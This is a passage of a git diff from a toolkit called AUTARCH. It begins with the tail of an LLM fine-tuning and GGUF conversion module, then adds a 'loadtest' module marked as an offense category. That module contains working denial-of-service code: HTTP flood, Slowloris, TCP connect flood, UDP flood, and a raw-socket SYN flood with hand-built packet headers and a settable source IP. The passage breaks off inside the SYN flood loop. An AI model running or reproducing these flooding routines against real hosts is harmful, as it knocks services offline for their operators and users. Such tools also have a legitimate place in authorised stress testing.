logging_steps={config.get('logging_steps', 10)}, + fp16=True, + optim="adamw_8bit", + report_to="none", + ), +) + +print("Starting training...") +trainer.train() +print("Training complete!") + +# Save +model.save_pretrained("{output_dir}/lora_adapter") +tokenizer.save_pretrained("{output_dir}/lora_adapter") +print(f"LoRA adapter saved to {output_dir}/lora_adapter") +''' + + def get_training_status(self): + """Get current training status including log tail.""" + result = dict(self._status) + + if self._training_process: + poll = self._training_process.poll() + if poll is None: + result['training_running'] = True + result['pid'] = self._training_process.pid + else: + result['training_running'] = False + result['exit_code'] = poll + if self._status['phase'] == 'training': + self._status['phase'] = 'idle' + self._status['message'] = 'Training finished' if poll == 0 else f'Training failed (exit {poll})' + else: + result['training_running'] = False + + # Read training log tail + log_path = self._training_dir / 'training.log' + if log_path.exists(): + try: + lines = log_path.read_text(encoding='utf-8', errors='replace').split('\n') + result['training_log'] = '\n'.join(lines[-50:]) + except Exception: + result['training_log'] = '' + else: + result['training_log'] = '' + + return result + + def stop_training(self): + """Stop the running training process.""" + if self._training_process and self._training_process.poll() is None: + self._training_process.terminate() + self._training_process.wait(timeout=10) + self._status['phase'] = 'idle' + self._status['message'] = 'Training stopped by user' + self._log('Training stopped by user', 'warning') + return True + return False + + # ==================== GGUF CONVERSION ==================== + + def list_adapters(self): + """List saved LoRA adapters.""" + adapters = [] + output_dir = self._training_dir / 'output' + if output_dir.exists(): + for d in output_dir.iterdir(): + if d.is_dir(): + config_path = d / 'adapter_config.json' + if config_path.exists(): + try: + config = json.loads(config_path.read_text()) + adapters.append({ + 'name': d.name, + 'path': str(d), + 'base_model': config.get('base_model_name_or_path', ''), + 'r': config.get('r', 0), + 'lora_alpha': config.get('lora_alpha', 0), + }) + except Exception: + adapters.append({'name': d.name, 'path': str(d)}) + return adapters + + def merge_and_convert(self, adapter_path, output_name, quantization='Q5_K_M'): + """Merge LoRA adapter with base model and convert to GGUF. + + This is a multi-step process: + 1. Load base model + LoRA adapter + 2. Merge weights + 3. Save merged model + 4. Convert to GGUF format + 5. Quantize + """ + self._status['phase'] = 'converting' + self._status['progress'] = 0 + self._status['message'] = 'Starting merge and conversion...' + self._log(f'Starting merge: adapter={adapter_path}, quant={quantization}') + + merged_dir = self._training_dir / 'merged' + merged_dir.mkdir(parents=True, exist_ok=True) + output_path = self._models_dir / f'{output_name}.gguf' + + # Generate merge+convert script + script = f'''#!/usr/bin/env python3 +"""Merge LoRA adapter and convert to GGUF.""" +import json, sys +from pathlib import Path + +adapter_path = Path("{adapter_path}") +config_path = adapter_path / "adapter_config.json" +if not config_path.exists(): + print("ERROR: adapter_config.json not found") + sys.exit(1) + +config = json.loads(config_path.read_text()) +base_model = config.get("base_model_name_or_path", "") +if not base_model: + print("ERROR: No base_model_name_or_path in adapter config") + sys.exit(1) + +print(f"Base model: {{base_model}}") +print(f"Adapter: {{adapter_path}}") + +# Step 1: Load and merge +print("Loading base model...") +from transformers import AutoModelForCausalLM, AutoTokenizer +from peft import PeftModel + +model = AutoModelForCausalLM.from_pretrained(base_model, device_map="cpu") +tokenizer = AutoTokenizer.from_pretrained(base_model) + +print("Loading LoRA adapter...") +model = PeftModel.from_pretrained(model, str(adapter_path)) + +print("Merging weights...") +model = model.merge_and_unload() + +merged_path = "{merged_dir}" +print(f"Saving merged model to {{merged_path}}") +model.save_pretrained(merged_path) +tokenizer.save_pretrained(merged_path) +print("Merge complete!") +''' + script_path = self._training_dir / 'merge_model.py' + script_path.write_text(script, encoding='utf-8') + + # Run merge + self._status['message'] = 'Merging LoRA adapter with base model...' + self._status['progress'] = 10 + try: + result = subprocess.run( + [sys.executable, str(script_path)], + capture_output=True, text=True, timeout=1800 # 30 min max + ) + if result.returncode != 0: + self._log(f'Merge failed: {result.stderr}', 'error') + self._status['phase'] = 'idle' + return {'error': f'Merge failed: {result.stderr[-500:]}'} + self._log('Merge complete') + except subprocess.TimeoutExpired: + self._status['phase'] = 'idle' + return {'error': 'Merge timed out (30 min limit)'} + + # Convert to GGUF using llama.cpp convert script + self._status['message'] = 'Converting to GGUF format...' + self._status['progress'] = 60 + + # Try to find llama.cpp convert script + convert_script = None + search_paths = [ + self._project_root / 'tools' / 'llama.cpp' / 'convert_hf_to_gguf.py', + Path.home() / 'llama.cpp' / 'convert_hf_to_gguf.py', + ] + for p in search_paths: + if p.exists(): + convert_script = p + break + + if not convert_script: + # Try pip-installed llama-cpp-python convert + self._log('llama.cpp convert script not found, trying pip package...', 'warning') + try: + result = subprocess.run( + [sys.executable, '-m', 'llama_cpp.convert', + str(merged_dir), '--outfile', str(output_path), + '--outtype', quantization.lower()], + capture_output=True, text=True, timeout=1800 + ) + if result.returncode == 0: + self._status['phase'] = 'idle' + self._status['progress'] = 100 + self._log(f'GGUF saved to {output_path}') + return { + 'success': True, + 'output_path': str(output_path), + 'size_bytes': output_path.stat().st_size if output_path.exists() else 0, + } + except Exception: + pass + + self._status['phase'] = 'idle' + self._status['message'] = 'Merged model saved but GGUF conversion requires llama.cpp' + return { + 'partial': True, + 'merged_path': str(merged_dir), + 'message': 'Model merged successfully. To convert to GGUF, install llama.cpp ' + 'and run: python convert_hf_to_gguf.py --outfile ', + } + + # Run convert script + try: + result = subprocess.run( + [sys.executable, str(convert_script), + str(merged_dir), '--outfile', str(output_path), + '--outtype', 'f16'], + capture_output=True, text=True, timeout=1800 + ) + if result.returncode != 0: + self._status['phase'] = 'idle' + return {'error': f'GGUF conversion failed: {result.stderr[-500:]}'} + except subprocess.TimeoutExpired: + self._status['phase'] = 'idle' + return {'error': 'GGUF conversion timed out'} + + # Quantize if not f16 + if quantization.upper() != 'F16': + self._status['message'] = f'Quantizing to {quantization}...' + self._status['progress'] = 80 + + quantize_bin = None + for p in [self._project_root / 'tools' / 'llama.cpp' / 'llama-quantize', + Path.home() / 'llama.cpp' / 'llama-quantize', + Path('/usr/local/bin/llama-quantize')]: + if p.exists(): + quantize_bin = p + break + # Check .exe variant on Windows + p_exe = p.with_suffix('.exe') + if p_exe.exists(): + quantize_bin = p_exe + break + + if quantize_bin: + quant_output = output_path.with_stem(f'{output_name}_{quantization}') + try: + result = subprocess.run( + [str(quantize_bin), str(output_path), + str(quant_output), quantization], + capture_output=True, text=True, timeout=1800 + ) + if result.returncode == 0: + # Replace f16 with quantized version + output_path.unlink() + shutil.move(str(quant_output), str(output_path)) + self._log(f'Quantized to {quantization}') + except Exception as e: + self._log(f'Quantization failed: {e}', 'warning') + + self._status['phase'] = 'idle' + self._status['progress'] = 100 + self._status['message'] = f'GGUF model saved: {output_path.name}' + self._log(f'GGUF model saved to {output_path}') + + return { + 'success': True, + 'output_path': str(output_path), + 'size_bytes': output_path.stat().st_size if output_path.exists() else 0, + } + + def list_models(self): + """List available GGUF models.""" + models = [] + if self._models_dir.exists(): + for f in sorted(self._models_dir.glob('*.gguf')): + models.append({ + 'name': f.stem, + 'filename': f.name, + 'path': str(f), + 'size_bytes': f.stat().st_size, + 'size_gb': round(f.stat().st_size / (1024**3), 2), + 'modified': datetime.fromtimestamp(f.stat().st_mtime).isoformat(), + }) + return models + + # ==================== EVALUATION ==================== + + def evaluate_model(self, model_path, test_prompts=None): + """Quick evaluation of a GGUF model with test prompts.""" + if not test_prompts: + test_prompts = [ + "What is AUTARCH?", + "How do I create a new defense module?", + "What module categories does AUTARCH support?", + "Create a module that scans for open ports on localhost.", + ] + + self._status['phase'] = 'evaluating' + self._status['message'] = 'Loading model for evaluation...' + self._log(f'Evaluating model: {model_path}') + + results = [] + try: + from core.llm import LLM + llm = LLM() + llm.load_model(model_path) + + for i, prompt in enumerate(test_prompts): + self._status['progress'] = int((i / len(test_prompts)) * 100) + self._status['message'] = f'Testing prompt {i+1}/{len(test_prompts)}...' + + response = llm.generate(prompt, max_tokens=512) + results.append({ + 'prompt': prompt, + 'response': response, + 'length': len(response), + }) + + except Exception as e: + self._status['phase'] = 'idle' + return {'error': str(e)} + + self._status['phase'] = 'idle' + self._status['progress'] = 100 + self._status['message'] = 'Evaluation complete' + return {'results': results, 'model': model_path} + + +# ==================== SINGLETON ==================== + +_trainer_instance = None + + +def get_trainer(): + """Get or create singleton LLMTrainer instance.""" + global _trainer_instance + if _trainer_instance is None: + _trainer_instance = LLMTrainer() + return _trainer_instance + + +# ==================== CLI ==================== + +def run(): + """CLI entry point.""" + from core.banner import Colors, clear_screen, display_banner + clear_screen() + display_banner() + print(f"\n{Colors.BOLD}{Colors.CYAN}LLM Trainer{Colors.RESET}\n") + + trainer = LLMTrainer() + + print(f"{Colors.CYAN}[*] Checking dependencies...{Colors.RESET}") + deps = trainer.check_dependencies() + for name, info in deps.items(): + if isinstance(info, dict) and 'installed' in info: + status = f"{Colors.GREEN}v{info['version']}{Colors.RESET}" if info['installed'] else f"{Colors.RED}Not installed{Colors.RESET}" + print(f" {name}: {status}") + + print(f"\n{Colors.CYAN}[*] Scanning codebase...{Colors.RESET}") + scan = trainer.scan_codebase() + print(f" Files: {scan['total_files']}") + print(f" Lines: {scan['total_lines']}") + + while True: + print(f"\n{Colors.BOLD}Options:{Colors.RESET}") + print(" 1. Generate training dataset") + print(" 2. List datasets") + print(" 3. Check dependencies") + print(" 4. Install dependencies") + print(" 0. Exit") + + choice = input(f"\n{Colors.CYAN}Select: {Colors.RESET}").strip() + if choice == '1': + result = trainer.generate_dataset() + print(f"\n{Colors.GREEN}[+] Generated {result['sample_count']} samples{Colors.RESET}") + print(f" File: {result['path']}") + elif choice == '2': + datasets = trainer.list_datasets() + for d in datasets: + print(f" {d['filename']} — {d['sample_count']} samples, " + f"{d['size_bytes']//1024}KB") + elif choice == '3': + deps = trainer.check_dependencies() + for name, info in deps.items(): + if isinstance(info, dict) and 'installed' in info: + status = f"{Colors.GREEN}v{info['version']}{Colors.RESET}" if info['installed'] else f"{Colors.RED}Missing{Colors.RESET}" + print(f" {name}: {status}") + elif choice == '4': + results = trainer.install_dependencies() + for r in results: + status = f"{Colors.GREEN}OK{Colors.RESET}" if r['success'] else f"{Colors.RED}FAIL{Colors.RESET}" + print(f" {r['package']}: {status}") + elif choice == '0': + break + + input("\nPress Enter to continue...") diff --git a/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/loadtest.py b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/loadtest.py new file mode 100644 index 0000000..b970e58 --- /dev/null +++ b/Output/AUTARCH_v2.3.0_standalone/autarch/_internal/modules/loadtest.py @@ -0,0 +1,1097 @@ +"""AUTARCH Load Testing Module + +Multi-protocol load/stress testing tool combining features from +Apache Bench, Locust, k6, wrk, Slowloris, and HULK. + +Supports: HTTP/HTTPS GET/POST/PUT/DELETE, Slowloris, SYN flood, +UDP flood, TCP connect flood, with real-time metrics and ramp-up patterns. +""" + +DESCRIPTION = "Load & stress testing toolkit" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +import time +import threading +import random +import string +import socket +import ssl +import struct +import queue +import json +import statistics +from dataclasses import dataclass, field +from typing import Dict, List, Optional, Any +from enum import Enum +from collections import deque +from urllib.parse import urlparse + +# Optional: requests for HTTP tests +try: + import requests + from requests.adapters import HTTPAdapter + REQUESTS_AVAILABLE = True +except ImportError: + REQUESTS_AVAILABLE = False + + +class AttackType(Enum): + HTTP_FLOOD = "http_flood" + HTTP_SLOWLORIS = "slowloris" + TCP_CONNECT = "tcp_connect" + UDP_FLOOD = "udp_flood" + SYN_FLOOD = "syn_flood" + + +class RampPattern(Enum): + CONSTANT = "constant" # All workers at once + LINEAR = "linear" # Gradually add workers + STEP = "step" # Add workers in bursts + SPIKE = "spike" # Burst → sustain → burst + + +@dataclass +class RequestResult: + status_code: int = 0 + latency_ms: float = 0.0 + bytes_sent: int = 0 + bytes_received: int = 0 + success: bool = False + error: str = "" + timestamp: float = 0.0 + + +@dataclass +class TestMetrics: + """Live metrics for a running load test.""" + total_requests: int = 0 + successful: int = 0 + failed: int = 0 + bytes_sent: int = 0 + bytes_received: int = 0 + start_time: float = 0.0 + elapsed: float = 0.0 + active_workers: int = 0 + status_codes: Dict[int, int] = field(default_factory=dict) + latencies: List[float] = field(default_factory=list) + errors: Dict[str, int] = field(default_factory=dict) + rps_history: List[float] = field(default_factory=list) + + @property + def rps(self) -> float: + if self.elapsed <= 0: + return 0.0 + return self.total_requests / self.elapsed + + @property + def avg_latency(self) -> float: + return statistics.mean(self.latencies) if self.latencies else 0.0 + + @property + def p50_latency(self) -> float: + if not self.latencies: + return 0.0 + s = sorted(self.latencies) + return s[len(s) // 2] + + @property + def p95_latency(self) -> float: + if not self.latencies: + return 0.0 + s = sorted(self.latencies) + return s[int(len(s) * 0.95)] + + @property + def p99_latency(self) -> float: + if not self.latencies: + return 0.0 + s = sorted(self.latencies) + return s[int(len(s) * 0.99)] + + @property + def max_latency(self) -> float: + return max(self.latencies) if self.latencies else 0.0 + + @property + def min_latency(self) -> float: + return min(self.latencies) if self.latencies else 0.0 + + @property + def success_rate(self) -> float: + if self.total_requests <= 0: + return 0.0 + return (self.successful / self.total_requests) * 100 + + @property + def error_rate(self) -> float: + if self.total_requests <= 0: + return 0.0 + return (self.failed / self.total_requests) * 100 + + def to_dict(self) -> dict: + return { + 'total_requests': self.total_requests, + 'successful': self.successful, + 'failed': self.failed, + 'bytes_sent': self.bytes_sent, + 'bytes_received': self.bytes_received, + 'elapsed': round(self.elapsed, 2), + 'active_workers': self.active_workers, + 'rps': round(self.rps, 1), + 'avg_latency': round(self.avg_latency, 2), + 'p50_latency': round(self.p50_latency, 2), + 'p95_latency': round(self.p95_latency, 2), + 'p99_latency': round(self.p99_latency, 2), + 'max_latency': round(self.max_latency, 2), + 'min_latency': round(self.min_latency, 2), + 'success_rate': round(self.success_rate, 1), + 'error_rate': round(self.error_rate, 1), + 'status_codes': dict(self.status_codes), + 'top_errors': dict(sorted(self.errors.items(), key=lambda x: -x[1])[:5]), + 'rps_history': list(self.rps_history[-60:]), + } + + +# User-agent rotation pool +USER_AGENTS = [ + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36", + "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/605.1.15", + "Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Edge/120.0.0.0", + "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148", + "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 Chrome/120.0.0.0 Mobile Safari/537.36", + "curl/8.4.0", + "python-requests/2.31.0", +] + + +class LoadTester: + """Multi-protocol load testing engine.""" + + def __init__(self): + self._stop_event = threading.Event() + self._pause_event = threading.Event() + self._pause_event.set() # Not paused by default + self._workers: List[threading.Thread] = [] + self._metrics = TestMetrics() + self._metrics_lock = threading.Lock() + self._running = False + self._config: Dict[str, Any] = {} + self._result_queue: queue.Queue = queue.Queue() + self._subscribers: List[queue.Queue] = [] + self._rps_counter = 0 + self._rps_timer_start = 0.0 + + @property + def running(self) -> bool: + return self._running + + @property + def metrics(self) -> TestMetrics: + return self._metrics + + def start(self, config: Dict[str, Any]): + """Start a load test with given configuration. + + Config keys: + target: URL or host:port + attack_type: http_flood|slowloris|tcp_connect|udp_flood|syn_flood + workers: Number of concurrent workers + duration: Duration in seconds (0 = unlimited) + requests_per_worker: Max requests per worker (0 = unlimited) + ramp_pattern: constant|linear|step|spike + ramp_duration: Ramp-up time in seconds + method: HTTP method (GET/POST/PUT/DELETE) + headers: Custom headers dict + body: Request body + timeout: Request timeout in seconds + follow_redirects: Follow HTTP redirects + verify_ssl: Verify SSL certificates + rotate_useragent: Rotate user agents + custom_useragent: Custom user agent string + rate_limit: Max requests per second (0 = unlimited) + payload_size: UDP/TCP payload size in bytes + """ + if self._running: + return + + self._stop_event.clear() + self._pause_event.set() + self._running = True + self._config = config + self._metrics = TestMetrics(start_time=time.time()) + self._rps_counter = 0 + self._rps_timer_start = time.time() + + # Start metrics collector thread + collector = threading.Thread(target=self._collect_results, daemon=True) + collector.start() + + # Start RPS tracker + rps_tracker = threading.Thread(target=self._track_rps, daemon=True) + rps_tracker.start() + + # Determine attack type + attack_type = config.get('attack_type', 'http_flood') + workers = config.get('workers', 10) + ramp = config.get('ramp_pattern', 'constant') + ramp_dur = config.get('ramp_duration', 0) + + # Launch workers based on ramp pattern + launcher = threading.Thread( + target=self._launch_workers, + args=(attack_type, workers, ramp, ramp_dur), + daemon=True + ) + launcher.start() + + def stop(self): + """Stop the load test.""" + self._stop_event.set() + self._running = False + + def pause(self): + """Pause the load test.""" + self._pause_event.clear() + + def resume(self): + """Resume the load test.""" + self._pause_event.set() + + def subscribe(self) -> queue.Queue: + """Subscribe to real-time metric updates.""" + q = queue.Queue() + self._subscribers.append(q) + return q + + def unsubscribe(self, q: queue.Queue): + """Unsubscribe from metric updates.""" + if q in self._subscribers: + self._subscribers.remove(q) + + def _publish(self, data: dict): + """Publish data to all subscribers.""" + dead = [] + for q in self._subscribers: + try: + q.put_nowait(data) + except queue.Full: + dead.append(q) + for q in dead: + self._subscribers.remove(q) + + def _launch_workers(self, attack_type: str, total_workers: int, + ramp: str, ramp_dur: float): + """Launch worker threads according to ramp pattern.""" + worker_fn = { + 'http_flood': self._http_worker, + 'slowloris': self._slowloris_worker, + 'tcp_connect': self._tcp_worker, + 'udp_flood': self._udp_worker, + 'syn_flood': self._syn_worker, + }.get(attack_type, self._http_worker) + + if ramp == 'constant' or ramp_dur <= 0: + for i in range(total_workers): + if self._stop_event.is_set(): + break + t = threading.Thread(target=worker_fn, args=(i,), daemon=True) + t.start() + self._workers.append(t) + with self._metrics_lock: + self._metrics.active_workers = len(self._workers) + elif ramp == 'linear': + interval = ramp_dur / max(total_workers, 1) + for i in range(total_workers): + if self._stop_event.is_set(): + break + t = threading.Thread(target=worker_fn, args=(i,), daemon=True) + t.start() + self._workers.append(t) + with self._metrics_lock: + self._metrics.active_workers = len(self._workers) + time.sleep(interval) + elif ramp == 'step': + steps = min(5, total_workers) + per_step = total_workers // steps + step_interval = ramp_dur / steps + for s in range(steps): + if self._stop_event.is_set(): + break + count = per_step if s < steps - 1 else total_workers - len(self._workers) + for i in range(count): + if self._stop_event.is_set(): + break + t = threading.Thread(target=worker_fn, args=(len(self._workers),), daemon=True) + t.start() + self._workers.append(t) + with self._metrics_lock: + self._metrics.active_workers = len(self._workers) + time.sleep(step_interval) + elif ramp == 'spike': + # Burst 50%, wait, add remaining + burst = total_workers // 2 + for i in range(burst): + if self._stop_event.is_set(): + break + t = threading.Thread(target=worker_fn, args=(i,), daemon=True) + t.start() + self._workers.append(t) + with self._metrics_lock: + self._metrics.active_workers = len(self._workers) + time.sleep(ramp_dur / 2) + for i in range(burst, total_workers): + if self._stop_event.is_set(): + break + t = threading.Thread(target=worker_fn, args=(i,), daemon=True) + t.start() + self._workers.append(t) + with self._metrics_lock: + self._metrics.active_workers = len(self._workers) + + # Wait for duration or stop + duration = self._config.get('duration', 0) + if duration > 0: + start = time.time() + while time.time() - start < duration and not self._stop_event.is_set(): + time.sleep(0.5) + self.stop() + + def _collect_results(self): + """Collect results from worker threads.""" + while self._running or not self._result_queue.empty(): + try: + result = self._result_queue.get(timeout=0.5) + except queue.Empty: + continue + + with self._metrics_lock: + m = self._metrics + m.total_requests += 1 + m.elapsed = time.time() - m.start_time + m.bytes_sent += result.bytes_sent + m.bytes_received += result.bytes_received + + if result.success: + m.successful += 1 + else: + m.failed += 1 + err_key = result.error[:50] if result.error else 'unknown' + m.errors[err_key] = m.errors.get(err_key, 0) + 1 + + if result.status_code: + m.status_codes[result.status_code] = m.status_codes.get(result.status_code, 0) + 1 + + if result.latency_ms > 0: + # Keep last 10000 latencies for percentile calculation + if len(m.latencies) > 10000: + m.latencies = m.latencies[-5000:] + m.latencies.append(result.latency_ms) + + self._rps_counter += 1 + + # Publish update every 20 requests + if m.total_requests % 20 == 0: + self._publish({'type': 'metrics', 'data': m.to_dict()}) + + def _track_rps(self): + """Track requests per second over time.""" + while self._running: + time.sleep(1) + with self._metrics_lock: + now = time.time() + elapsed = now - self._rps_timer_start + if elapsed >= 1.0: + current_rps = self._rps_counter / elapsed + self._metrics.rps_history.append(round(current_rps, 1)) + if len(self._metrics.rps_history) > 120: + self._metrics.rps_history = self._metrics.rps_history[-60:] + self._rps_counter = 0 + self._rps_timer_start = now + + def _should_continue(self, request_count: int) -> bool: + """Check if worker should continue.""" + if self._stop_event.is_set(): + return False + max_req = self._config.get('requests_per_worker', 0) + if max_req > 0 and request_count >= max_req: + return False + return True + + def _rate_limit_wait(self): + """Apply rate limiting if configured.""" + rate = self._config.get('rate_limit', 0) + if rate > 0: + workers = self._config.get('workers', 1) + per_worker = rate / max(workers, 1) + if per_worker > 0: + time.sleep(1.0 / per_worker) + + def _get_session(self) -> 'requests.Session': + """Create an HTTP session with configuration.""" + if not REQUESTS_AVAILABLE: + raise RuntimeError("requests library not available") + + session = requests.Session() + adapter = HTTPAdapter( + pool_connections=10, + pool_maxsize=10, + max_retries=0, + ) + session.mount('http://', adapter) + session.mount('https://', adapter) + session.verify = self._config.get('verify_ssl', False) + + # Custom headers + headers = self._config.get('headers', {}) + if headers: + session.headers.update(headers) + + if self._config.get('rotate_useragent', True): + session.headers['User-Agent'] = random.choice(USER_AGENTS) + elif self._config.get('custom_useragent'): + session.headers['User-Agent'] = self._config['custom_useragent'] + + return session + + def _http_worker(self, worker_id: int): + """HTTP flood worker — sends rapid HTTP requests.""" + target = self._config.get('target', '') + method = self._config.get('method', 'GET').upper() + body = self._config.get('body', '') + timeout = self._config.get('timeout', 10) + follow = self._config.get('follow_redirects', True) + count = 0 + + session = self._get_session() + + while self._should_continue(count): + self._pause_event.wait() + self._rate_limit_wait() + + if self._config.get('rotate_useragent', True): + session.headers['User-Agent'] = random.choice(USER_AGENTS) + + start = time.time() + result = RequestResult(timestamp=start) + + try: + resp = session.request( + method, target, + data=body if body else None, + timeout=timeout, + allow_redirects=follow, + ) + elapsed = (time.time() - start) * 1000 + + result.status_code = resp.status_code + result.latency_ms = elapsed + result.bytes_received = len(resp.content) + result.bytes_sent = len(body.encode()) if body else 0 + result.success = 200 <= resp.status_code < 500 + + except requests.Timeout: + result.error = "timeout" + result.latency_ms = timeout * 1000 + except requests.ConnectionError as e: + result.error = f"connection_error: {str(e)[:60]}" + except Exception as e: + result.error = str(e)[:80] + + self._result_queue.put(result) + count += 1 + + session.close() + + def _slowloris_worker(self, worker_id: int): + """Slowloris worker — holds connections open with partial headers.""" + parsed = urlparse(self._config.get('target', '')) + host = parsed.hostname or self._config.get('target', '') + port = parsed.port or (443 if parsed.scheme == 'https' else 80) + use_ssl = parsed.scheme == 'https' + timeout = self._config.get('timeout', 10) + + sockets: List[socket.socket] = [] + max_sockets = 50 # Per worker + + while self._should_continue(0): + self._pause_event.wait() + + # Create new sockets up to limit + while len(sockets) < max_sockets and not self._stop_event.is_set(): + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + if use_ssl: + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + sock = ctx.wrap_socket(sock, server_hostname=host) + sock.connect((host, port)) + + # Send partial HTTP request + ua = random.choice(USER_AGENTS) + sock.send(f"GET /?{random.randint(0, 9999)} HTTP/1.1\r\n".encode()) + sock.send(f"Host: {host}\r\n".encode()) + sock.send(f"User-Agent: {ua}\r\n".encode()) + sock.send(b"Accept-language: en-US,en;q=0.5\r\n") + + sockets.append(sock) + result = RequestResult( + success=True, timestamp=time.time(), + bytes_sent=200, latency_ms=0 + ) + self._result_queue.put(result) + except Exception as e: + result = RequestResult( + error=str(e)[:60], timestamp=time.time() + ) + self._result_queue.put(result) + break + + # Keep connections alive with partial headers + dead = [] + for i, sock in enumerate(sockets): + try: + header = f"X-a: {random.randint(1, 5000)}\r\n" + sock.send(header.encode()) + except Exception: + dead.append(i) + + # Remove dead sockets + for i in sorted(dead, reverse=True): + try: + sockets[i].close() + except Exception: + pass + sockets.pop(i) + + time.sleep(random.uniform(5, 15)) + + # Cleanup + for sock in sockets: + try: + sock.close() + except Exception: + pass + + def _tcp_worker(self, worker_id: int): + """TCP connect flood worker — rapid connect/disconnect.""" + parsed = urlparse(self._config.get('target', '')) + host = parsed.hostname or self._config.get('target', '').split(':')[0] + try: + port = parsed.port or int(self._config.get('target', '').split(':')[-1]) + except (ValueError, IndexError): + port = 80 + timeout = self._config.get('timeout', 5) + payload_size = self._config.get('payload_size', 0) + count = 0 + + while self._should_continue(count): + self._pause_event.wait() + self._rate_limit_wait() + + start = time.time() + result = RequestResult(timestamp=start) + + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + sock.connect((host, port)) + + if payload_size > 0: + data = random.randbytes(payload_size) + sock.send(data) + result.bytes_sent = payload_size + + elapsed = (time.time() - start) * 1000 + result.latency_ms = elapsed + result.success = True + + sock.close() + except socket.timeout: + result.error = "timeout" + result.latency_ms = timeout * 1000 + except ConnectionRefusedError: + result.error = "connection_refused" + except Exception as e: + result.error = str(e)[:60] + + self._result_queue.put(result) + count += 1 + + def _udp_worker(self, worker_id: int): + """UDP flood worker — sends UDP packets.""" + target = self._config.get('target', '') + host = target.split(':')[0] if ':' in target else target + try: + port = int(target.split(':')[1]) if ':' in target else 80 + except (ValueError, IndexError): + port = 80 + payload_size = self._config.get('payload_size', 1024) + count = 0 + + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + + while self._should_continue(count): + self._pause_event.wait() + self._rate_limit_wait() + + start = time.time() + result = RequestResult(timestamp=start) + + try: + data = random.randbytes(payload_size) + sock.sendto(data, (host, port)) + elapsed = (time.time() - start) * 1000 + result.latency_ms = elapsed + result.bytes_sent = payload_size + result.success = True + except Exception as e: + result.error = str(e)[:60] + + self._result_queue.put(result) + count += 1 + + sock.close() + + @staticmethod + def _checksum(data: bytes) -> int: + """Calculate IP/TCP checksum.""" + if len(data) % 2: + data += b'\x00' + s = 0 + for i in range(0, len(data), 2): + s += (data[i] << 8) + data[i + 1] + s = (s >> 16) + (s & 0xffff) + s += s >> 16 + return ~s & 0xffff + + def _build_syn_packet(self, src_ip: str, dst_ip: str, + src_port: int, dst_port: int) -> bytes: + """Build a raw TCP SYN packet (IP header + TCP header).""" + # IP Header (20 bytes) + ip_ihl_ver = (4 << 4) + 5 # IPv4, IHL=5 (20 bytes) + ip_tos = 0 + ip_tot_len = 40 # 20 IP + 20 TCP + ip_id = random.randint(1, 65535) + ip_frag_off = 0 + ip_ttl = 64 + ip_proto = socket.IPPROTO_TCP + ip_check = 0 + ip_saddr = socket.inet_aton(src_ip) + ip_daddr = socket.inet_aton(dst_ip) + + ip_header = struct.pack('!BBHHHBBH4s4s', + ip_ihl_ver, ip_tos, ip_tot_len, ip_id, + ip_frag_off, ip_ttl, ip_proto, ip_check, + ip_saddr, ip_daddr) + # Recalculate IP checksum + ip_check = self._checksum(ip_header) + ip_header = struct.pack('!BBHHHBBH4s4s', + ip_ihl_ver, ip_tos, ip_tot_len, ip_id, + ip_frag_off, ip_ttl, ip_proto, ip_check, + ip_saddr, ip_daddr) + + # TCP Header (20 bytes) + tcp_seq = random.randint(0, 0xFFFFFFFF) + tcp_ack_seq = 0 + tcp_doff = 5 # Data offset: 5 words (20 bytes) + tcp_flags = 0x02 # SYN + tcp_window = socket.htons(5840) + tcp_check = 0 + tcp_urg_ptr = 0 + tcp_offset_res = (tcp_doff << 4) + 0 + + tcp_header = struct.pack('!HHLLBBHHH', + src_port, dst_port, tcp_seq, tcp_ack_seq, + tcp_offset_res, tcp_flags, tcp_window, + tcp_check, tcp_urg_ptr) + + # Pseudo header for TCP checksum + pseudo = struct.pack('!4s4sBBH', + ip_saddr, ip_daddr, 0, ip_proto, 20) + tcp_check = self._checksum(pseudo + tcp_header) + tcp_header = struct.pack('!HHLLBBHHH', + src_port, dst_port, tcp_seq, tcp_ack_seq, + tcp_offset_res, tcp_flags, tcp_window, + tcp_check, tcp_urg_ptr) + + return ip_header + tcp_header + + def _syn_worker(self, worker_id: int): + """SYN flood worker — sends raw TCP SYN packets. + + Requires elevated privileges (admin/root) for raw sockets. + Falls back to TCP connect flood if raw socket creation fails. + """ + target = self._config.get('target', '') + host = target.split(':')[0] if ':' in target else target + try: + port = int(target.split(':')[1]) if ':' in target else 80 + except (ValueError, IndexError): + port = 80 + + # Resolve target IP + try: + dst_ip = socket.gethostbyname(host) + except socket.gaierror: + result = RequestResult(error=f"Cannot resolve {host}", timestamp=time.time()) + self._result_queue.put(result) + return + + # Source IP: user-specified or auto-detect local IP + src_ip = self._config.get('source_ip', '').strip() + if not src_ip: + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect((dst_ip, 80)) + src_ip = s.getsockname()[0] + s.close() + except Exception: + src_ip = '127.0.0.1' + + # Try to create raw socket + try: + import sys + if sys.platform == 'win32': + # Windows raw sockets + sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) + sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + else: + sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) + sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + except PermissionError: + # Fall back to TCP connect flood + self._tcp_worker(worker_id) + return + except OSError as e: + result = RequestResult( + error=f"Raw socket failed (need admin/root): {e}", timestamp=time.time() + ) + self._result_queue.put(result) + # Fall back + self._tcp_worker(worker_id) + return + + count = 0 + while 